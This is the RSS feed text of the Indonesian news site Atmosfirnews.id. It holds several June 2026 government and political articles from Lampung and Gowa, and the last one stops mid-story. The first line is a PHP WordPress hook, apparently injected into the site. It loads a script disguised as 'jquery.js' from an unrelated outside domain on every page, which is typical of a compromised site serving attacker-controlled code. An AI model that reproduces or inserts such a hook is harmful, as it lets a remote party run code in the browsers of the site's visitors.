add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Pemerintah - Atmosfirnews.id https://atmosfirnews.id/pemerintah/ Media Online yang Dinamis dan Elastis Sun, 28 Jun 2026 13:11:41 +0000 id hourly 1 https://wordpress.org/?v=7.1 https://atmosfirnews.id/wp-content/uploads/2024/09/cropped-1726672297060-32x32.jpg Pemerintah - Atmosfirnews.id https://atmosfirnews.id/pemerintah/ 32 32 Dishub Kota Bandar Lampung Gruduk Tugu Adipura, Meriahkan Jalan Sehat HUT ke-344 https://atmosfirnews.id/dishub-kota-bandar-lampung-gruduk-tugu-adipura-meriahkan-jalan-sehat-hut-ke-344/ Sun, 28 Jun 2026 13:11:41 +0000 https://atmosfirnews.id/?p=6417 Bandar Lampung, Atmosfirnews – Dinas Perhubungan (Dishub) Kota Bandar Lampung turut ambil bagian dalam memeriahkan jalan sehat Hari Ulang Tahun (HUT) ke-344 Kota Bandar Lampung...

Artikel Dishub Kota Bandar Lampung Gruduk Tugu Adipura, Meriahkan Jalan Sehat HUT ke-344 pertama kali tampil pada Atmosfirnews.id.

]]>
Bandar Lampung, Atmosfirnews – Dinas Perhubungan (Dishub) Kota Bandar Lampung turut ambil bagian dalam memeriahkan jalan sehat Hari Ulang Tahun (HUT) ke-344 Kota Bandar Lampung yang dipusatkan di Tugu Adipura, Minggu pagi, (28/6/2026).

Kehadiran jajaran Dishub menjadi bagian dari dukungan penuh terhadap suksesnya agenda akbar yang diikuti ratusan ribu masyarakat.

Sejak pagi, kawasan Tugu Adipura telah dipenuhi peserta yang datang dari berbagai wilayah. Mereka menempuh rute Jalan Jenderal Ahmad Yani, Jalan R.A. Kartini, Jalan Brigjen Katamso, Jalan Raden Intan, sebelum kembali finis di Tugu Adipura.

Selain berpartisipasi dalam kegiatan, Dishub juga berperan menjaga kelancaran mobilitas selama pelaksanaan jalan sehat sehingga arus peserta dapat berjalan tertib dan aman.

Perwakilan Dishub Kota Bandar Lampung, Leni, menyampaikan apresiasi kepada masyarakat yang telah memeriahkan peringatan HUT ke-344 Kota Bandar Lampung.

“Kami dari Dinas Perhubungan Kota Bandar Lampung mengucapkan terima kasih kepada seluruh masyarakat Kota Bandar Lampung yang telah bersama-sama menyukseskan dan memeriahkan peringatan HUT ke-344 Kota Bandar Lampung. Antusiasme masyarakat menjadi semangat bagi kami untuk terus memberikan pelayanan terbaik,” ujar Leni.

Wali Kota Bandar Lampung, Eva Dwiana, mengatakan jalan sehat merupakan bagian dari rangkaian peringatan HUT ke-344 Kota Bandar Lampung yang tahun ini mengusung tema “Bandar Lampung Bersinar.”

“Atas nama Pemerintah Kota Bandar Lampung, saya mengucapkan selamat datang dan terima kasih kepada seluruh masyarakat yang telah hadir dan turut memeriahkan kegiatan ini. Antusiasme masyarakat menjadi bukti semangat kebersamaan dan kecintaan terhadap Kota Bandar Lampung terus tumbuh dan semakin kuat,” kata Eva.

Menurutnya, kegiatan tersebut bukan sekadar olahraga bersama, tetapi juga menjadi wadah mempererat silaturahmi, memperkokoh persatuan, sekaligus menumbuhkan budaya hidup sehat di tengah masyarakat.

“Saya berharap semangat kebersamaan yang kita rasakan hari ini menjadi energi positif untuk terus membangun Kota Bandar Lampung yang lebih baik,” ujarnya.

Ketua Panitia, Nero Rakhmat Akbar, S.STP., MM, mengatakan kegiatan tersebut merupakan bentuk apresiasi Pemerintah Kota Bandar Lampung kepada seluruh masyarakat.

Menurutnya, jalan sehat tidak hanya menjadi ajang olahraga, tetapi juga momentum mempererat tali silaturahmi, memperkuat kebersamaan, dan meningkatkan partisipasi masyarakat dalam merayakan hari jadi Kota Bandar Lampung.

“Semangat kebersamaan yang terlihat hari ini menjadi modal penting untuk terus membangun Bandar Lampung yang maju, sehat, dan semakin bersinar,” tutupnya.

Artikel Dishub Kota Bandar Lampung Gruduk Tugu Adipura, Meriahkan Jalan Sehat HUT ke-344 pertama kali tampil pada Atmosfirnews.id.

]]>
Raja Jawa di Tanah Lampung: Ketika Gelar Adat dan Simbol Politik Bertemu https://atmosfirnews.id/raja-jawa-di-tanah-lampung-ketika-gelar-adat-dan-simbol-politik-bertemu/ Sun, 28 Jun 2026 10:46:05 +0000 https://atmosfirnews.id/?p=6413 BANDAR LAMPUNG, Atmosfirnews – Penganugerahan gelar “Baginda Pemuka Bangsa” kepada Jokowi di Lampung tak sekadar seremoni budaya. Ada simbol politik, legasi, dan perebutan pengaruh...

Artikel Raja Jawa di Tanah Lampung: Ketika Gelar Adat dan Simbol Politik Bertemu pertama kali tampil pada Atmosfirnews.id.

]]>
BANDAR LAMPUNG, Atmosfirnews – Penganugerahan gelar “Baginda Pemuka Bangsa” kepada Jokowi di Lampung tak sekadar seremoni budaya. Ada simbol politik, legasi, dan perebutan pengaruh di baliknya. Ada pula kesan penguatan nilai tambah, semacam hilirisasi politik kepentingan.

—-

Peristiwa ketika Presiden ke-7 Republik Indonesia, Joko Widodo, menaiki singgasana adat dalam prosesi Cakak Pepadun dan menerima gelar “Baginda Pemuka Bangsa” dari lima kerajaan adat Lampung di Bandar Lampung, Sabtu (27/6), sesungguhnya lebih dari sekadar seremoni budaya.

Itu adalah simbol penuh makna.

Simbol tentang bagaimana seorang mantan presiden masih memiliki daya tarik politik dan kultural yang kuat, bahkan setelah tidak lagi memegang jabatan formal di negara.

Di Indonesia, gelar adat bukan sekadar penghormatan seremonial. Penyematan gelar mengandung pengakuan moral, legitimasi sosial, dan dalam banyak kasus menjadi penanda hubungan erat antara pemimpin nasional dengan komunitas lokal.

Karena itu, penganugerahan gelar kepada Jokowi di Lampung tidak dapat dibaca hanya sebagai peristiwa kebudayaan. Ada fenomena yang lebih besar sedang berlangsung, yakni transformasi Jokowi dari seorang kepala pemerintahan menjadi figur kultural dan simbol politik nasional.

Dalam tradisi politik Indonesia, tidak banyak mantan presiden yang tetap memiliki magnet politik begitu kuat setelah meninggalkan Istana.

Sebagian memilih menjadi negarawan yang menjaga jarak dari politik praktis. Sebagian lainnya perlahan kehilangan pengaruh seiring berjalannya waktu.

Namun, Jokowi tampaknya mengambil jalan berbeda.

Safari ke berbagai daerah, pertemuan dengan relawan, tokoh masyarakat dan partai, pelaku usaha, dan kelompok-kelompok akar rumput menunjukkan bahwa jaringan sosial dan politik yang dibangun selama satu dekade pemerintahannya masih terpelihara.

Lampung menjadi daerah pertama yang dikunjungi Jokowi dalam rangkaian safari nasional pasca-kepresidenannya. Pilihan ini tentu bukan tanpa makna.

Secara politik, Lampung merupakan salah satu wilayah dengan dukungan elektoral yang besar bagi Jokowi selama dua pemilu terakhir. Secara kultural, Lampung juga memiliki tradisi penghormatan tinggi kepada pemimpin dan tamu agung melalui lembaga adat.

Di titik inilah budaya dan politik bertemu.

Fenomena “Raja Jawa”

Sebutan “Raja Jawa” yang kerap muncul di ruang publik bukanlah gelar formal, melainkan metafora atas kuatnya pengaruh Jokowi dalam lanskap politik nasional.

Sebutan ‘Raja Jawa’ pertama kali diucapkan Bahlil, ketika baru saja dilantik menjadi Ketum Partai Golkar.

Sebutan itu masih terus melekat sekalipun Jokowi tidak lagi memegang kekuasaan konstitusional. Jokowi masih memiliki modal simbolik yang besar popularitas, jejaring politik, kedekatan dengan berbagai kelompok masyarakat, serta kemampuan menjaga relevansi di tengah perubahan peta kekuasaan nasional.

Penerimaan berbagai gelar adat dari sejumlah daerah—mulai dari Maluku, Kalimantan, Sulawesi, Papua hingga Lampung, semakin mempertebal citra Jokowi sebagai figur yang melampaui batas-batas jabatan formal.

Dalam ilmu politik, fenomena ini dikenal sebagai soft power atau kekuasaan simbolik, yakni kemampuan memengaruhi ruang publik bukan melalui kewenangan institusional, melainkan melalui legitimasi sosial, pengaruh personal, dan kedekatan emosional dengan masyarakat.

Lalu, bagaimana dengan gelar “Baginda Pemuka Bangsa”?

Tentu saja memunculkan beragam tafsir.

Sebagian melihatnya sebagai bentuk penghormatan tulus terhadap seorang pemimpin yang dianggap berhasil membawa pembangunan hingga ke daerah-daerah. Sebagian lainnya memandang momentum tersebut sulit dipisahkan dari dinamika politik nasional, terlebih ketika Jokowi masih aktif melakukan safari dan bertemu dengan berbagai kelompok masyarakat.

Kedua tafsir itu sah dalam ruang demokrasi.

Namun, dalam politik, simbol jarang berdiri sendiri.

Di balik setiap penganugerahan gelar adat, selalu ada beragam kepentingan yang berjalan beriringan. Ada yang ingin mengabadikan legasi dan penghormatan kepada seorang tokoh yang pernah memegang kekuasaan besar. Ada pula yang melihat momentum semacam ini sebagai ruang membangun kedekatan, memperluas jejaring, membuka akses, atau bahkan menciptakan peluang dan keuntungan di masa depan.

Sebab, pengaruh politik tidak pernah benar-benar kehilangan peminat.

Ketika seseorang masih memiliki modal simbolik, akses kekuasaan, dan daya pengaruh yang besar, maka akan selalu ada orang-orang yang mendekat. Ada yang datang karena rasa hormat, ada yang datang karena loyalitas, dan ada pula yang melihatnya sebagai ladang permainan baru setelah kekuasaan formal berakhir. Semacam hilirisasi supaya memperoleh nilai tambah.

Pada titik itulah panggung kebudayaan dan panggung politik saling beririsan.

Karena itu, prosesi di Bandar Lampung sesungguhnya bukan hanya tentang penyematan gelar adat kepada seorang mantan presiden. Prosesi itu juga menjadi penanda bahwa pengaruh Jokowi belum berakhir bersama masa jabatannya.

Jokowi telah meninggalkan Istana, tetapi belum meninggalkan panggung politik dan simbolik Indonesia. Ia masih ada, dan sepertinya mungkin berambisi menjadi ‘Raja Nusantara’

Dan ketika seorang mantan presiden masih disambut layaknya tamu agung, dinaikkan ke singgasana adat, dan diberi gelar “Baginda Pemuka Bangsa”, publik wajar bertanya, “Apakah ini semata penghormatan budaya, atau pertanda bahwa Jokowi sedang memasuki babak baru sebagai figur politik dan kultural yang pengaruhnya tetap besar di Indonesia?”

Artikel Raja Jawa di Tanah Lampung: Ketika Gelar Adat dan Simbol Politik Bertemu pertama kali tampil pada Atmosfirnews.id.

]]>
Interupsi Hukum atas Sidang Terbuka Pansus DPRD Gowa https://atmosfirnews.id/interupsi-hukum-atas-sidang-terbuka-pansus-dprd-gowa/ Sat, 27 Jun 2026 16:01:08 +0000 https://atmosfirnews.id/?p=6409 Oleh: Syamsul Bahri Majjaga, S.H., M.H. Dalam teori negara hukum (rechtstaat), kekuasaan publik tidak hanya diukur dari legitimasi kewenangannya, tetapi juga dari cara kewenangan...

Artikel Interupsi Hukum atas Sidang Terbuka Pansus DPRD Gowa pertama kali tampil pada Atmosfirnews.id.

]]>
Oleh: Syamsul Bahri Majjaga, S.H., M.H.

Dalam teori negara hukum (rechtstaat), kekuasaan publik tidak hanya diukur dari legitimasi kewenangannya, tetapi juga dari cara kewenangan itu dijalankan. Negara hukum menolak penggunaan kekuasaan yang melampaui batas, sekalipun dilakukan atas nama kepentingan umum, moralitas, atau pengawasan.

Profesor hukum tata negara A.V. Dicey menyebutnya sebagai rule of law, yaitu prinsip bahwa seluruh tindakan penguasa harus tunduk pada hukum dan tidak boleh mengabaikan hak-hak individu. Sementara dalam teori due process of law, setiap tindakan yang dilakukan oleh institusi negara harus memperhatikan prosedur yang adil, proporsional, dan menghormati martabat manusia.

Di atas semua itu, terdapat satu prinsip universal yang menjadi fondasi peradaban hukum modern, yakni presumption of innocence atau asas praduga tak bersalah. Seseorang tidak dapat diposisikan sebagai pihak yang bersalah hanya karena adanya dugaan, opini publik, atau penilaian moral yang berkembang di tengah masyarakat.

Prinsip ini menjadi penting untuk diletakkan di awal pembahasan, sebab perdebatan yang sedang berkembang di Kabupaten Gowa sesungguhnya bukan semata-mata mengenai dugaan perselingkuhan. Perdebatan yang sesungguhnya adalah tentang bagaimana negara dan lembaga politik memperlakukan sebuah dugaan yang belum memiliki kepastian hukum.

Tulisan ini tidak dimaksudkan untuk menginterupsi Rapat Dengar Pendapat (RDP) Panitia Khusus (Pansus) DPRD Kabupaten Gowa. Sebagai lembaga perwakilan rakyat, DPRD memiliki fungsi pengawasan yang dijamin oleh peraturan perundang-undangan. Dalam menjalankan fungsi tersebut, DPRD berhak meminta keterangan, mengumpulkan informasi, dan melakukan klarifikasi terhadap suatu persoalan yang dianggap berkaitan dengan kepentingan publik.

Tidak ada persoalan dengan fungsi pengawasan itu.

Yang menjadi persoalan adalah ketika pengawasan dilakukan terhadap materi yang menyangkut dugaan perselingkuhan dan kemudian diproses dalam forum yang terbuka.

Di sinilah letak persoalan hukumnya.

Perselingkuhan, benar atau tidak, adalah isu yang sangat sensitif. Ia menyentuh ruang paling privat dari kehidupan seseorang: relasi keluarga, nama baik, kehormatan, dan martabat pribadi. Lebih penting lagi, apa yang sedang dibahas saat ini masih berada dalam wilayah “dugaan”, bukan fakta hukum yang telah memperoleh kepastian melalui proses peradilan.

Karena itu, pertanyaan yang layak diajukan adalah: apakah sebuah dugaan yang belum terbukti layak dipertontonkan kepada publik melalui forum resmi negara?

Dalam perspektif hukum tata negara, setiap pembatasan terhadap hak warga negara harus memenuhi prinsip kepentingan yang sah, kebutuhan yang mendesak, dan proporsionalitas. Artinya, pembukaan suatu informasi yang menyangkut kehidupan privat seseorang hanya dapat dibenarkan apabila terdapat kepentingan publik yang nyata dan memiliki hubungan langsung dengan tujuan pengawasan yang hendak dicapai.

Jika hubungan tersebut tidak dapat dijelaskan secara terang, maka negara berpotensi melampaui batas kewenangannya.

Dalam teori proportionality principle, tindakan negara harus seimbang antara tujuan yang hendak dicapai dan risiko kerugian yang dapat ditimbulkan terhadap hak-hak warga negara.

Pertanyaannya kemudian: apakah sidang terbuka mengenai dugaan perselingkuhan merupakan tindakan yang proporsional?

Atau justru melahirkan risiko yang lebih besar daripada manfaat yang hendak dicapai?

 

Karena pada praktiknya, sidang terbuka di era digital tidak lagi berhenti di ruang rapat DPRD.

Setiap pernyataan dapat direkam.

Setiap gambar dapat dipotong.

Setiap informasi dapat ditransmisikan.

 

Dan setiap potongan informasi dapat membentuk opini publik yang menghukum seseorang jauh sebelum hukum berbicara.

Fenomena ini dalam kajian hukum modern dikenal sebagai trial by public opinion atau peradilan oleh opini publik. Seseorang dihukum secara sosial sebelum proses hukum menentukan apakah ia benar atau salah.

Padahal, Pasal 28G ayat (1) Undang-Undang Dasar 1945 secara tegas menjamin bahwa setiap orang berhak atas perlindungan diri pribadi, keluarga, kehormatan, martabat, dan rasa aman.

Norma konstitusi tersebut menegaskan bahwa negara bukan hanya dilarang merampas kebebasan warga negara, tetapi juga berkewajiban melindungi kehormatan dan martabat mereka.

Dengan demikian, ketika sebuah forum negara membuka dan mempertontonkan isu yang masih berupa dugaan dan menyangkut kehidupan privat seseorang, maka setidaknya terdapat potensi persoalan hukum yang perlu dipertimbangkan.

Pertama, potensi pelanggaran terhadap hak atas privasi dan kehormatan.

Kedua, potensi terjadinya pencemaran nama baik apabila terdapat pernyataan yang menyerang kehormatan seseorang.

Ketiga, potensi gugatan perdata atas dasar perbuatan melawan hukum apabila pihak yang bersangkutan mengalami kerugian materiil maupun immateriil.

Keempat, potensi pertanggungjawaban bagi pihak-pihak yang mendistribusikan dan mentransmisikan informasi tersebut secara elektronik tanpa kehati-hatian.

Pasal 310 KUHP mengatur mengenai pencemaran nama baik, sedangkan Pasal 311 KUHP mengatur mengenai fitnah apabila tuduhan yang disampaikan tidak dapat dibuktikan.

Sementara itu, Pasal 27A juncto Pasal 45 ayat (4) Undang-Undang Nomor 1 Tahun 2024 tentang Informasi dan Transaksi Elektronik memberikan instrumen hukum terhadap perbuatan menyerang kehormatan atau nama baik seseorang melalui media elektronik.

Dari sisi hukum perdata, Pasal 1365 KUH Perdata membuka ruang bagi pihak yang merasa dirugikan untuk mengajukan gugatan atas dasar perbuatan melawan hukum.

Tentu saja, apakah unsur-unsur tersebut terpenuhi atau tidak, merupakan wilayah pembuktian di hadapan penegak hukum dan pengadilan. Namun, potensi hukum tersebut tidak dapat diabaikan begitu saja.

Inilah sebabnya mengapa negara hukum mengajarkan prinsip kehati-hatian.

Sebab tidak semua yang dapat diperdebatkan secara politik layak dipertontonkan secara terbuka.

Tidak semua yang menjadi perhatian publik otomatis kehilangan sifat privatnya.

Dan tidak semua dugaan dapat diperlakukan seolah-olah telah menjadi kebenaran.

Pada titik ini, kita perlu bertanya dengan jernih: apakah forum tersebut benar-benar dimaksudkan untuk mencari fakta yang berkaitan dengan kepentingan publik, atau tanpa disadari telah bergeser menjadi ruang penghakiman moral?

Sebab, lembaga politik bukanlah pengadilan.

DPRD bukan institusi yang diberi kewenangan untuk menentukan seseorang bermoral atau tidak bermoral.

Fungsi pengawasan tidak boleh berubah menjadi instrumen penghukuman sosial.

Mencari fakta adalah kewajiban.

Tetapi menjaga martabat manusia adalah perintah konstitusi.

Demokrasi memang membutuhkan transparansi. Namun, transparansi yang mengabaikan hak atas privasi dan asas praduga tak bersalah justru berpotensi melahirkan ketidakadilan baru.

Pada akhirnya, kualitas sebuah demokrasi tidak diukur dari seberapa terbuka sebuah sidang dipertontonkan kepada publik, melainkan dari seberapa besar negara mampu menahan diri agar tidak menggunakan kekuasaannya untuk mempermalukan warga negara sebelum hukum menyatakan mereka bersalah.

Sebab ketika sebuah dugaan diperlakukan sebagai kebenaran, maka yang sesungguhnya sedang diadili bukan hanya seseorang yang dituduh, melainkan juga prinsip-prinsip negara hukum itu sendiri.

Artikel Interupsi Hukum atas Sidang Terbuka Pansus DPRD Gowa pertama kali tampil pada Atmosfirnews.id.

]]>
Diduga Tipu Investasi Dapur MBG Rp300 Juta, Anggota DPRD Lampung Tengah Dilaporkan ke Polisi https://atmosfirnews.id/diduga-tipu-investasi-dapur-mbg-rp300-juta-anggota-dprd-lampung-tengah-dilaporkan-ke-polisi/ Sat, 27 Jun 2026 08:01:15 +0000 https://atmosfirnews.id/?p=6406 Lampung Tengah, Atmosfirnews – Program Dapur Makan Bergizi Gratis (MBG) di Kabupaten Lampung Tengah kini diterpa persoalan hukum. Seorang anggota DPRD Lampung Tengah dari Partai...

Artikel Diduga Tipu Investasi Dapur MBG Rp300 Juta, Anggota DPRD Lampung Tengah Dilaporkan ke Polisi pertama kali tampil pada Atmosfirnews.id.

]]>
Lampung Tengah, Atmosfirnews – Program Dapur Makan Bergizi Gratis (MBG) di Kabupaten Lampung Tengah kini diterpa persoalan hukum. Seorang anggota DPRD Lampung Tengah dari Partai Gerindra berinisial Victorious Beni Wibisono dilaporkan ke Polres Lampung Tengah atas dugaan tindak pidana penipuan atau penggelapan terkait investasi pembangunan Dapur MBG.

Laporan tersebut diajukan oleh Sunarti, warga Kampung Gedung Sari, Kecamatan Anak Ratu Aji, Kabupaten Lampung Tengah. Korban mengaku mengalami kerugian hingga Rp300 juta setelah tergiur tawaran investasi yang dijanjikan memberikan keuntungan besar.

Berdasarkan laporan polisi, terlapor menawarkan investasi pembangunan Dapur Makan Bergizi Gratis dengan iming-iming keuntungan sebesar Rp750 per penerima manfaat dari sekitar 4.000 porsi makanan setiap hari. Korban dijanjikan keuntungan mulai dibayarkan setelah dapur beroperasi selama 10 hari kerja. Sabtu (27/6)

Namun, setelah dapur mulai beroperasi pada November 2025, keuntungan yang dijanjikan tidak pernah diterima. Terlapor beralasan masih menghadapi persoalan dengan rekan kerjanya dan meminta korban untuk bersabar.

Tidak hanya itu, dalam beberapa kali pertemuan, terlapor juga disebut berjanji akan mengembalikan seluruh modal investasi berikut keuntungan serta menyerahkan sertifikat tanah sebagai jaminan. Akan tetapi, menurut korban, janji tersebut tidak pernah direalisasikan.

Memasuki Maret 2026, korban mengaku kesulitan menghubungi terlapor karena nomor teleponnya tidak lagi aktif. Saat mendatangi kediamannya pun, korban mengaku selalu mendapat informasi bahwa yang bersangkutan tidak berada di rumah.

Merasa dirugikan dan tidak mendapatkan kepastian, Sunarti akhirnya melaporkan dugaan kasus tersebut ke Polres Lampung Tengah. Laporan diterima oleh piket Satreskrim Polres Lampung Tengah pada Juni 2026 untuk ditindaklanjuti sesuai ketentuan hukum yang berlaku.

Korban berharap pihak kepolisian dapat mengusut tuntas perkara tersebut secara profesional dan transparan. Ia juga meminta agar uang yang telah diinvestasikan dapat kembali serta apabila terbukti terdapat unsur pidana, pelaku diproses sesuai hukum yang berlaku.

Hingga berita ini diterbitkan, pihak terlapor belum memberikan keterangan atau tanggapan terkait laporan tersebut. Media ini masih berupaya melakukan konfirmasi kepada yang bersangkutan guna memperoleh penjelasan dan keberimbangan informasi.(**)

Artikel Diduga Tipu Investasi Dapur MBG Rp300 Juta, Anggota DPRD Lampung Tengah Dilaporkan ke Polisi pertama kali tampil pada Atmosfirnews.id.

]]>
DPP APKLINDO Lampung Gelar Awareness Training ISO 37001 dalam Rangka HUT ke-41 https://atmosfirnews.id/dpp-apklindo-lampung-gelar-awareness-training-iso-37001-dalam-rangka-hut-ke-41/ Fri, 26 Jun 2026 08:39:09 +0000 https://atmosfirnews.id/?p=6403 Bandar Lampung, Kencanamedianews — Dewan Pimpinan Provinsi Asosiasi Pengusaha dan Kontraktor Listrik Indonesia (DPP APKLINDO) Lampung menggelar Awareness Training Sistem Manajemen Anti Penyuapan (SMAP)...

Artikel DPP APKLINDO Lampung Gelar Awareness Training ISO 37001 dalam Rangka HUT ke-41 pertama kali tampil pada Atmosfirnews.id.

]]>
Bandar Lampung, Kencanamedianews — Dewan Pimpinan Provinsi Asosiasi Pengusaha dan Kontraktor Listrik Indonesia (DPP APKLINDO) Lampung menggelar Awareness Training Sistem Manajemen Anti Penyuapan (SMAP) berstandar SNI ISO 37001:2025. Kegiatan ini diselenggarakan dalam rangka memperingati Hari Ulang Tahun APKLINDO yang ke-41.

Training akan dilaksanakan pada Sabtu, 27 Juni 2026, pukul 13.00–15.00 WIB, secara hybrid bertempat di Sekretariat DPP APKLINDO Lampung sekaligus dapat diikuti secara daring melalui platform Zoom Meeting.

Pelatihan ini dirancang untuk memberikan pemahaman menyeluruh mengenai ISO 37001, yakni standar internasional yang mengatur tata kelola Sistem Manajemen Anti-Penyuapan. Dalam sesi ini, peserta akan mendapatkan materi lengkap dari A hingga Z mengenai bagaimana organisasi dapat mencegah, mendeteksi, dan menindaklanjuti praktik penyuapan, sekaligus memastikan kepatuhan terhadap regulasi anti-korupsi yang berlaku di Indonesia.

ISO 37001 merupakan standar yang relevan bagi berbagai jenis organisasi, baik swasta, publik, maupun nirlaba, sebagai instrumen penguatan integritas dan tata kelola yang baik (good governance).

Mengingat tingginya antusiasme terhadap isu anti-korupsi di lingkungan dunia usaha, panitia membatasi kuota peserta hingga maksimal 200 orang. Masyarakat, pengusaha, dan profesional yang berminat diimbau untuk segera mendaftarkan diri melalui tautan berikut:

https://docs.google.com/forms/d/e/1FAIpQLSdPMkXYAnQD_uQmdYprGnmhq0Nki2K4pHmdMmUJj0am9MaBgA/viewform

Kegiatan ini menjadi bagian dari upaya APKLINDO Lampung dalam mendorong ekosistem bisnis yang bersih, transparan, dan berintegritas, khususnya di sektor kelistrikan dan konstruksi di Provinsi Lampung.

Untuk informasi lebih lanjut, silakan menghubungi Sekretariat DPP APKLINDO Lampung.

Untuk informasi lebih lanjut, silakan menghubungi Sekretariat DPP APKLINDO Lampung.

Artikel DPP APKLINDO Lampung Gelar Awareness Training ISO 37001 dalam Rangka HUT ke-41 pertama kali tampil pada Atmosfirnews.id.

]]>
Memberi atau Menolak Gelar untuk Jokowi, GEPAK Lampung: Tanya Masyarakat Apakah Menerimanya https://atmosfirnews.id/memberi-atau-menolak-gelar-untuk-jokowi-gepak-lampung-tanya-masyarakat-apakah-menerimanya/ Fri, 26 Jun 2026 08:32:03 +0000 https://atmosfirnews.id/?p=6400 BANDAR LAMPUNG, Atmosfirnews – Pemberian gelar adat kepada mantan Presiden Joko Widodo oleh sebagian masyarakat adat di Lampung memunculkan perdebatan lama, sampai sejauh mana adat...

Artikel Memberi atau Menolak Gelar untuk Jokowi, GEPAK Lampung: Tanya Masyarakat Apakah Menerimanya pertama kali tampil pada Atmosfirnews.id.

]]>
BANDAR LAMPUNG, Atmosfirnews – Pemberian gelar adat kepada mantan Presiden Joko Widodo oleh sebagian masyarakat adat di Lampung memunculkan perdebatan lama, sampai sejauh mana adat boleh bersentuhan dengan politik?

Sebagian pihak, terutama tokoh adat yang memberi menyambutnya sebagai penghormatan kepada seorang pemimpin nasional. Sebagian lainnya mengkritiknya sebagai bentuk kedekatan dengan kekuasaan. Namun, ada satu hal yang menarik untuk direnungkan, apakah menolak pemberian gelar akan membuat adat sepenuhnya steril dari politik?

Belum tentu.

Sebab, baik memberi maupun menolak, keduanya sama-sama merupakan tindakan yang mengandung pesan politik dan sosial.

Jika adat memberikan gelar kepada Jokowi, kritik yang muncul adalah bahwa lembaga adat sedang mendekat kepada kekuasaan. Gelar adat dikhawatirkan tidak lagi dipandang semata sebagai penghormatan budaya, melainkan simbol kedekatan dengan figur yang selama satu dekade menjadi pusat kekuasaan nasional.

Namun, jika adat memilih menolak atau menentang pemberian gelar itu, pertanyaan lain juga layak diajukan adalah apakah penolakan tersebut murni demi menjaga marwah adat, atau justru merupakan ekspresi sikap politik terhadap seorang tokoh?

Di titik inilah persoalannya menjadi menarik. Adat bisa terjebak dalam politik bukan hanya ketika ia memberikan penghormatan kepada penguasa, tetapi juga ketika ia menjadikan penolakan sebagai instrumen perlawanan politik.

Karena itu, perdebatan mengenai gelar adat untuk Jokowi sesungguhnya bukanlah soal apakah ia pantas atau tidak menerimanya. Perdebatan yang lebih mendasar adalah atas dasar apa keputusan itu diambil?

 

Apabila keputusan itu lahir dari pertimbangan nilai, jasa, dan kebijaksanaan adat yang berlaku secara konsisten kepada siapa pun, maka pemberian gelar merupakan kehormatan budaya yang sah. Dan tentu saja harus didasari pertimbangan masyarakat di bawahnya. Jika tidak berdasarkan itu maka kehormatan gelar adat menjadi percuma. Pemberian kehormatan hanya menjadi cibiran masyarakat kepada tokoh adatnya sendiri.

Apabila keputusan itu didorong oleh kedekatan dengan kekuasaan, kepentingan sesaat, atau perhitungan politik tertentu, maka kritik publik menjadi wajar. Sebab, yang dipertaruhkan bukan nama Jokowi, melainkan kewibawaan adat itu sendiri.

Hal yang sama berlaku pada penolakan. Bila penolakan didasarkan pada prinsip dan ukuran adat yang jelas, ia dapat menjadi bentuk penjagaan marwah. Namun, jika penolakan lahir karena sentimen politik semata, adat pun berisiko terseret ke dalam arena kontestasi yang seharusnya berada di luar dirinya.

Adat tidak kehilangan marwah karena memberi atau menolak gelar kepada Jokowi. Adat kehilangan marwah ketika keputusan memberi maupun menolak ditentukan oleh arah angin politik, bukan oleh kebijaksanaan nilai.

Kekuasaan selalu berganti. Presiden datang dan pergi. Tetapi adat hidup lebih lama daripada satu masa pemerintahan dan lebih tinggi daripada satu kepentingan politik.

Karena itu, pertanyaan yang patut dijaga bukanlah, “Mengapa Jokowi diberi gelar adat?”, melainkan “Apakah keputusan itu meninggikan marwah adat, atau justru membuat adat tampak berjalan mengikuti irama kekuasaan?”

Sebab, kehormatan tertinggi sebuah masyarakat bukan terletak pada siapa yang menerima gelar, melainkan pada kemampuan adat untuk tetap berdiri di atas semua kepentingan.

Artikel Memberi atau Menolak Gelar untuk Jokowi, GEPAK Lampung: Tanya Masyarakat Apakah Menerimanya pertama kali tampil pada Atmosfirnews.id.

]]>
Gepak Lampung Soroti Status Ganda Kepala BGN, Nama Nanik Masih Ada di Jajaran Komisaris Pertamina https://atmosfirnews.id/gepak-lampung-soroti-status-ganda-kepala-bgn-nama-nanik-masih-ada-di-jajaran-komisaris-pertamina/ Thu, 25 Jun 2026 15:05:04 +0000 https://atmosfirnews.id/?p=6396 BANDAR LAMPUNG, Atmosfirnews – Kepala Badan Gizi Nasional (BGN), Nanik S. Deyang, menjadi sorotan setelah namanya masih tercantum sebagai Komisaris PT Pertamina (Persero) di situs...

Artikel Gepak Lampung Soroti Status Ganda Kepala BGN, Nama Nanik Masih Ada di Jajaran Komisaris Pertamina pertama kali tampil pada Atmosfirnews.id.

]]>
BANDAR LAMPUNG, Atmosfirnews – Kepala Badan Gizi Nasional (BGN), Nanik S. Deyang, menjadi sorotan setelah namanya masih tercantum sebagai Komisaris PT Pertamina (Persero) di situs resmi perusahaan hingga Rabu (25/6/2026).

Berdasarkan laman resmi https://www.pertamina.com/direksi-dan-komisaris, Nanik tercatat sebagai salah satu Komisaris Independen dalam jajaran Dewan Komisaris PT Pertamina (Persero). Ia diketahui diangkat melalui Rapat Umum Pemegang Saham (RUPS) Tahunan Pertamina pada 12 Juni 2025, bersamaan dengan perombakan susunan direksi dan komisaris perusahaan pelat merah tersebut.

Sementara itu, Presiden Prabowo Subianto menunjuk Nanik sebagai Kepala Badan Gizi Nasional (BGN) pada 2 Juni 2026, menggantikan Dadan Hindayana. Jabatan tersebut menempatkan Nanik sebagai pejabat setingkat menteri yang bertanggung jawab menjalankan salah satu program prioritas pemerintah, yakni Program Makan Bergizi Gratis (MBG).

Meski telah menjabat sebagai Kepala BGN, hingga kini belum ada pengumuman resmi dari pemerintah maupun PT Pertamina mengenai pengunduran diri atau pemberhentian Nanik dari posisi Komisaris Independen.

Kondisi tersebut memunculkan pertanyaan publik terkait status rangkap jabatan yang diembannya.

Ketua LSM Gepak Lampung, Wahyudi Hasyim, menilai pemerintah perlu memberikan penjelasan secara terbuka agar tidak menimbulkan spekulasi di tengah masyarakat.

“Publik berhak mengetahui apakah yang bersangkutan masih aktif sebagai komisaris atau sedang dalam proses pelepasan jabatan. Transparansi penting agar tidak muncul persepsi adanya perlakuan khusus atau standar ganda dalam tata kelola pemerintahan,” ujar Wahyudi.

Ia menilai, posisi Kepala BGN merupakan jabatan strategis yang berkaitan langsung dengan pelaksanaan program prioritas nasional dan pengelolaan anggaran negara, sehingga aspek kepatuhan terhadap aturan dan prinsip tata kelola yang baik harus menjadi perhatian.

